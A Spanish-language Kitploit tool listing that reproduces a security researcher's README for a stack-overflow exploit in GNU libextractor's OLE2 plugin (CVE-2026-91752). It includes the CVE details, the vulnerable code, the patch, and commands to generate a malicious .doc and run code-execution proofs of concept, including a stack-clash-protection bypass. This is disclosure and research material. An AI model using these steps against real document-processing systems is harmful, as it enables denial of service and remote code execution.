Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
libextractor-ole2-rce — PoC para un desbordamiento de búfer crítico basado en pila en GNU libextractor ≤ 1.14. Un archivo .doc malicioso desencadena una asignación VLA sin límites que provoca un DoS incondicional. En entornos multihilo, elude las protecciones stack-clash para lograr un RCE completo. | Kitploit
Herramientas/GitHubGitHub/haitam-lazaar/libextractor-ole2-rce
Forensia de MemoriaGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónExplotación de BinariosLabs y Práctica
GitHubhaitam-lazaar/libextractor-ole2-rce

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

libextractor-ole2-rce

PoC para un desbordamiento de búfer crítico basado en pila en GNU libextractor ≤ 1.14. Un archivo .doc malicioso desencadena una asignación VLA sin límites que provoca un DoS incondicional. En entornos multihilo, elude las protecciones stack-clash para lograr un RCE completo.

Ver Repositorio
7hace 3 díasAún no revisado

CVE-2026-91752: Desbordamiento de pila en GNU libextractor a través de OLE2

Resumen

Un desbordamiento de búfer basado en pila en el plugin OLE2 de GNU libextractor permite denegación de servicio remota (caída) y ejecución de código al procesar un archivo .doc manipulado. La vulnerabilidad está en process_star_office() (ole2_extractor.c:349), que asigna un Variable Length Array de hasta 4MB en la pila basándose en datos del archivo controlados por el atacante.

Impacto principal: Denegación de servicio remota — provoca la caída de cualquier aplicación que procese el archivo malicioso
Impacto secundario: Ejecución remota de código mediante el bypass de -fstack-clash-protection a través de pilas de hilos adyacentes

CampoValor
CVECVE-2026-91752
ProductoGNU libextractor
Versiones afectadas< 1.15 (todas las versiones hasta la 1.14)
Versión corregida1.15
CVSS 4.08.7 ALTO (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
CVSS 3.17.5 ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
SeveridadALTA (DoS) / CRÍTICA (RCE en modo multiproceso en proceso)
CWECWE-789 (Asignación de memoria con valor de tamaño excesivo) / CWE-121 (Desbordamiento de búfer basado en pila)
Vector de ataqueRed (cualquier ruta de procesamiento de archivos)
Privilegios requeridosNinguno
Interacción del usuarioNinguna
CNAVulnCheck
InvestigadorHaitam Lazaar

Nota: GCC moderno (≥8) habilita -fstack-clash-protection por defecto, lo que en aplicaciones de un solo hilo convierte el desbordamiento explotable en una caída segura. Sin embargo, esta mitigación puede eludirse en aplicaciones multiproceso donde las pilas de los hilos son adyacentes en memoria — las comprobaciones del VLA tienen éxito hacia la pila del hilo vecino, permitiendo la ejecución completa de código incluso en compilaciones reforzadas. Consulte docs/BYPASS.md para más detalles.

Software afectado

  • GNU libextractor ≤ 1.14 (todas las versiones con el plugin OLE2)
  • Cualquier aplicación que use libextractor para procesar archivos .doc no confiables
  • GNUnet (indexador de intercambio de archivos)

Demostración rápida

root@kitploit:~
# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

Prueba de concepto (demostración en laboratorio)

Remote Code Execution Demo

La animación anterior demuestra el entorno de laboratorio automatizado proporcionado en el directorio lab-setup/. Con solo ejecutar docker compose up, un contenedor atacante genera automáticamente el payload .doc malicioso y lo sube a un servicio web vulnerable de indexación de documentos. La lógica de análisis de libextractor desencadena el desbordamiento de pila del VLA, permitiendo al atacante lograr silenciosamente la ejecución de código arbitrario. Verificamos el exploit ejecutando cat /tmp/pwned en el contenedor objetivo para ver la salida del comando.

Estructura del repositorio

root@kitploit:~
├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

Reproducción

Caída / DoS (funciona en cualquier sistema)

root@kitploit:~
# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

Ejecución de código (protección deshabilitada)

root@kitploit:~
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

Ejecución de código (bypass de protección, multiproceso)

root@kitploit:~
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

Laboratorio Docker

root@kitploit:~
docker-compose -f lab-setup/docker-compose.yml up -d

Causa raíz

root@kitploit:~
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

Sin -fstack-clash-protection, el compilador genera:

root@kitploit:~
sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

Con -fstack-clash-protection, las comprobaciones aún pueden eludirse en contextos multiproceso (consulte docs/BYPASS.md).

Parche oficial (libextractor 1.15)

root@kitploit:~
-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);

Referencias

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-91752
  • Entrada NVD: https://nvd.nist.gov/vuln/detail/cve-2026-91752
  • Aviso de VulnCheck: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.15-stack-overflow-via-ole2
  • Commits del parche upstream:
    • Commit 04004eb1
    • Commit 2781c7e9
  • Producto: https://www.gnu.org/software/libextractor/

Créditos

Descubierto por mí (Haitam Lazaar) durante mi investigación de seguridad independiente.

Agradecimientos

Un agradecimiento especial a Christian Grothoff, mantenedor de GNU libextractor, por su increíblemente rápida clasificación, comunicación profesional y rápido despliegue de parches (v1.15, v1.16 y v1.17) para resolver este y otros problemas de seguridad de memoria reportados durante esta auditoría.

Licencia

Mi investigación se proporciona con fines educativos y defensivos. Úsela de forma responsable.

Descargar herramienta